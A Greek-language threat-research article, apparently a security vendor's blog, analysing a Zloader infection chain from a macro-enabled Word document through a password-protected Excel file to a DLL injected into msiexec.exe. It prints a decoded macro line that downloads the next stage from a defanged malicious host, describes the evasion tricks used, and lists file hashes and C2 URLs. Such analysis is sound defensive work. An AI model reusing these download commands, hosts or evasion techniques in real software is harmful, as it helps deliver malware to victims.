Το Zloader, γνωστό και ως Terdot, είναι μια παραλλαγή του διαβόητου τραπεζικού κακόβουλου λογισμικού Zeus, γνωστό για την επιθετική χρήση εγγράφων ".xls", ".xlsx" ως αρχικού φορέα για την παράδοση του ωφέλιμου φορτίου του. Παρά ταύτα, πρόσφατα εντοπίσαμε ένα αρχείο ".docm" το οποίο χρησιμοποιείται από την οικογένεια Zloader για την εκτέλεση της αρχικής του δραστηριότητας. Αυτό δείχνει ότι οι κακόβουλοι χρήστες επιθυμούν να πειραματιστούν με έγγραφα γραφείου για να αποφύγουν τον εντοπισμό τους από λύσεις ασφαλείας.
Αρχικό διάνυσμα:
Εδώ, η αλυσίδα μόλυνσης ξεκινά με το αρχείο ".docm" . Το Docm σημαίνει "Έγγραφο Word του Office με δυνατότητα μακροεντολών". Παρακάτω μπορούμε να δούμε την προβολή εγγράφου που ζητά από τον χρήστη να ενεργοποιήσει το περιεχόμενο.
Όπως σε πολλά άλλα έγγραφα, προσπαθήσαμε να παρατηρήσουμε τη δραστηριότητά του μετά την ενεργοποίηση του περιεχομένου, αλλά δεν υπήρχε καμία δραστηριότητα σε αυτό. Εξετάζοντας τον κώδικα VBA, πήραμε την απάντησή μας. Η ενεργοποίηση του περιεχομένου δεν θα εκτελέσει τη μακροεντολή. Εδώ, η εκτέλεση της μακροεντολής ξεκινά με το "Κλείσιμο εγγράφου" όπως φαίνεται.
Μόλις το θύμα κλείσει αυτό το έγγραφο, καλείται η συνάρτηση "nnn" , η οποία είναι η κύρια συνάρτηση αυτής της μακροεντολής VBA. Σε αυτήν την περίπτωση, καλούνται και πάλι δευτερεύουσες συναρτήσεις. Εδώ, οι αντίπαλοι χρησιμοποιούν επίσης τη "Φόρμα χρήστη" για να εκτελέσουν τη δραστηριότητα επόμενου σταδίου.
Η συνάρτηση UserForm_Initialize() χρησιμοποιείται για την κλήση του "Userform2". Η παρακάτω εικόνα δείχνει το αντικείμενο userform2. Στο παράθυρο διαλόγου, τα δεδομένα url είναι χωρισμένα σε τμήματα και επικαλύπτονται στο 25ο ComboBox για την απόκρυψη των πραγματικών δεδομένων, όπως φαίνεται παρακάτω.
Αφού ελέγξαμε όλα τα ComboBox του userform2, καταφέραμε να εντοπίσουμε κακόβουλη διεύθυνση URL που χρησιμοποιείται για τη λήψη του ωφέλιμου φορτίου 2ου σταδίου.
Συνοψίζοντας την παραπάνω δραστηριότητα, οι αντίπαλοι χρησιμοποιούν τον βρόχο for για να έχουν πρόσβαση σε όλες αυτές τις τιμές και να δημιουργήσουν την τελική διεύθυνση URL, όπως φαίνεται παρακάτω:
Ο ιστότοπος “hxxps[:]//feelingfit-always[.]com/1[.]php”, ο οποίος είναι κακόβουλος με συνολική βαθμολογία 11 στο ιό, χρησιμοποιείται για τη λήψη αρχείου XLS που προστατεύεται με κωδικό πρόσβασης. Ο κωδικός πρόσβασής του είναι ξανά κρυμμένος στη μακροεντολή VBA στο “Userform1”. Εξερευνώντας τα δεδομένα του userform1, καταφέραμε να εξαγάγουμε τον κρυφό κωδικό πρόσβασης.
Ωφέλιμο φορτίο 2ου σταδίου :
Η προστασία εγγράφων με κωδικό πρόσβασης είναι μια κλασική τεχνική για την άμυνα ενάντια σε προμηθευτές AV. Ο σωστός κωδικός πρόσβασης είναι απαραίτητος για να εμβαθύνουμε περαιτέρω στην ανάλυση. Μετά την αντιστοίχιση του παραπάνω κωδικού πρόσβασης, μπορούμε επιτέλους να δούμε το περιεχόμενο του βιβλίου εργασίας του Excel. Η μακροεντολή XLM χρησιμοποιείται στο "Φύλλο3" για την εκτέλεση περαιτέρω δραστηριοτήτων.
Εδώ ο κώδικας είναι ενσωματωμένος σε διαφορετικά κελιά του εγγράφου. Το παρακάτω σχήμα δείχνει τον κώδικα μακροεντολής που έχει εξαχθεί από το παραπάνω βιβλίο εργασίας:
Εδώ, οι αντίπαλοι χρησιμοποιούν ενσωματωμένες συναρτήσεις του Excel, όπως το IIF και το Switch, για να αποκρύπτουν δεδομένα. Ο τελικός κώδικας που έχει αποκρυπτογραφηθεί μπορεί να φανεί παρακάτω:
WinHttp.WinHttpRequest.5.1.open GET https[:]//santarosafuneralhome[.]com/2.php False
WinHttp.WinHttpRequest.5.1.SetRequestHeader
WinHttp.WinHttpRequest.5.1.send
Η παραπάνω κακόβουλη διεύθυνση URL με συνολική βαθμολογία ιού 8 χρησιμοποιείται για τη λήψη του ωφέλιμου φορτίου 3ου σταδίου αυτής της επίθεσης.
Τελική Ανάλυση Ωφέλιμου Φορτίου:
Το DLL είναι το τελικό ωφέλιμο φορτίο του Zloader. Εδώ, το DLL είναι ιδιαίτερα ασαφές και αποφεύγει τις άμεσες κλήσεις στα API των Windows. Χρησιμοποιείται κατακερματισμός για τον υπολογισμό των διευθύνσεων και πραγματοποιεί την κλήση με τις υπολογισμένες τιμές, καθιστώντας δύσκολη την αντιστροφή.
Το αρχείο DLL δημιουργεί τη διεργασία 'msiexec.exe', η οποία είναι μια γνήσια διεργασία της Microsoft που ανήκει στο πρόγραμμα εγκατάστασης των Windows Component, σε κατάσταση αναστολής και εισάγει κρυπτογραφημένο αρχείο σε αυτήν.
Επίσης, εγχέει μια ρουτίνα που θα αποκρυπτογραφήσει και θα ανακτήσει το κακόβουλο PE για εκτέλεση.
Με τον ορισμό του περιβάλλοντος νήματος, διαβιβάζεται το αρχικό σημείο εκτέλεσης και τέλος ο εγχυμένος κώδικας εκτελείται με την επαναφορά νήματος.
Όταν αυτό το νήμα του msiexec.exe τεθεί σε εκτέλεση, προσπαθεί να συνδεθεί με τους διακομιστές CnC όπως φαίνεται,
Δεδομένου ότι αυτές οι διευθύνσεις URL ήταν εκτός λειτουργίας κατά τη στιγμή της ανάλυσης, δεν μπορέσαμε να εμβαθύνουμε περισσότερο σε αυτό.
Συμπέρασμα:
Αυτός ο τύπος επίθεσης δείχνει πώς οι επιτιθέμενοι καινοτομούν στον μηχανισμό τους για να ξεκινήσουν μια αλυσίδα μόλυνσης με σκοπό να θέσουν σε κίνδυνο το θύμα. Ο χρήστης θα πρέπει πάντα να είναι προσεκτικός κατά το άνοιγμα οποιωνδήποτε αρχείων γραφείου. Γρήγορη Επούλωση και Seqrite εταιρικές λύσεις ασφάλειας προστατεύει τους πελάτες της από τέτοια αρχεία. Επομένως, θυμηθείτε να διατηρείτε τις λύσεις ασφάλειας τελικών σημείων πάντα ενημερωμένες.
ΔΟΕ:
ΕΓΓΡΑΦΟ:
117fafb46f27238351f2111e8f01416412044238d2f8378a285063eb9d4eef3d
409ed829f19024045d26cc5d3a06e15a097605e13ba938875eca054a7a4a30b1
91aa050536d834947709776af40c2fde49471d28231de50df0d324cd55101df4
XLS: 52d071922413a3be8815a76118a45bf13d8d323b73ba42377591fd68c59dfc89
URL:
https[://]tiodeitidampheater.tk/post.php
https[://]actes-etatcivil.com/post.php
https[://]ankarakreatif.com/post.php
https[://]www.ramazanyildiz.net/post.php
https[://]hispaniaeng.com/post.php
https[://]www.ifdd.francophonie.org/post.php
Ειδικός στο Θέμα
Αντζάλι Ράουτ
Πριγιάνκα Σίντε
